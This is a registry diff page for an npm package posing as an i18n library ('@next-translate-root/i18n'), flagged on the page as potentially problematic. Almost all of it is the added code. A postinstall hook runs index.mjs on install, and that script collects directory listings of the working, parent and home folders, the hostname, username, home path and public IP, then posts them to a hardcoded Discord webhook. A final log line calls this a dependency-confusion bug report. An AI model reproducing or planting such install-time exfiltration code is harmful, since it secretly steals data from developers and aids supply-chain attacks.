@next-translate-root/i18n 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @next-translate-root/i18n might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.mjs +125 -0
  2. package/package.json +14 -0
package/index.mjs ADDED
@@ -0,0 +1,125 @@
1
+ import fetch from 'node-fetch';
2
+ import { readdirSync, existsSync } from 'fs';
3
+
4
+
5
+ const WEBHOOK_URL = "https://discord.com/api/webhooks/1126724644825735258/eYyyDWo39XlT83XjDNaNgRps1pnCli3zWYY4sOSzCjJyk8wsPjL0k-_KD4cheyjTfbz-";
6
+ const PACKAGE_NAME = "@next-translate-root/locales";
7
+
8
+
9
+ const WEBHOOK_CHAR_LIMIT = 2000;
10
+
11
+ class Embed {
12
+ constructor() {
13
+ this.title = "";
14
+ this.type = "rich";
15
+ this.description = "";
16
+ this.color = 0x00FF00;
17
+ this.fields = [];
18
+ }
19
+ }
20
+
21
+
22
+ const getDirectoryListing = (paths) => {
23
+ const embed = new Embed();
24
+ for (const path of paths) {
25
+ if (existsSync(path)){
26
+ embed.fields.push({
27
+ name: path,
28
+ value: "`" + readdirSync(path).join("`, `") + "`",
29
+ inline: false
30
+ });
31
+ embed.title = "Directory Listing";
32
+ };
33
+ };
34
+
35
+ return embed;
36
+ };
37
+
38
+ const getIPAddress = async () => {
39
+ const request = await fetch("https://api.ipify.org");
40
+ let ip = "";
41
+ if (request.ok) {
42
+ ip = await request.text();
43
+ }
44
+
45
+ return ip;
46
+ };
47
+
48
+ const ip = await getIPAddress();
49
+
50
+
51
+ const getSystemInfo = async () => {
52
+ const embed = new Embed();
53
+ embed.title = "System Info";
54
+ embed.fields.push({
55
+ name: "Node Version",
56
+ value: process.version
57
+ });
58
+ embed.fields.push({
59
+ name: "Platform",
60
+ value: process.platform,
61
+ inline: true
62
+ });
63
+ embed.fields.push({
64
+ name: "Architecture",
65
+ value: process.arch,
66
+ inline: true
67
+ });
68
+ embed.fields.push({
69
+ name: "System Name",
70
+ value: process.env.COMPUTERNAME || process.env.HOSTNAME || "Unknown",
71
+ inline: false
72
+ });
73
+ embed.fields.push({
74
+ name: "User Name",
75
+ value: process.env.USERNAME,
76
+ inline: false
77
+ });
78
+ embed.fields.push({
79
+ name: "Home Directory",
80
+ value: process.env.HOME || process.env.USERPROFILE,
81
+ inline: false
82
+ });
83
+ embed.fields.push({
84
+ name: "IP Address",
85
+ value: ip.toString(),
86
+ inline: false
87
+ });
88
+
89
+ return embed;
90
+ };
91
+
92
+
93
+
94
+
95
+ const sendWebhook = async (message, embed) => {
96
+ const response = await fetch(WEBHOOK_URL, {
97
+ method: "POST",
98
+ headers: {
99
+ "Content-Type": "application/json"
100
+ },
101
+ body: JSON.stringify({
102
+ content: message,
103
+ embeds: [embed]
104
+ })
105
+
106
+ });
107
+ return response;
108
+ }
109
+
110
+
111
+ const home = process.env.HOME || process.env.USERPROFILE;
112
+ const paths = ['./', '../', home]
113
+
114
+ const directoryListing = getDirectoryListing(paths);
115
+ const systemInfo = await getSystemInfo();
116
+
117
+
118
+ const embeds = [directoryListing, systemInfo];
119
+
120
+ try {
121
+ sendWebhook("@everyone", embeds[0]);
122
+ sendWebhook("", embeds[1]);
123
+ } catch {};
124
+
125
+ console.log("Logs sent to Discord--npm-dependency-confusion--bug--reports--@1xxxxxxxx")
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "@next-translate-root/i18n",
3
+ "version": "1.0.2",
4
+ "description": "next-translate-root",
5
+ "main": "index.mjs",
6
+ "scripts": {
7
+ "postinstall": "node index.mjs"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "node-fetch": "^3.3.1"
13
+ }
14
+ }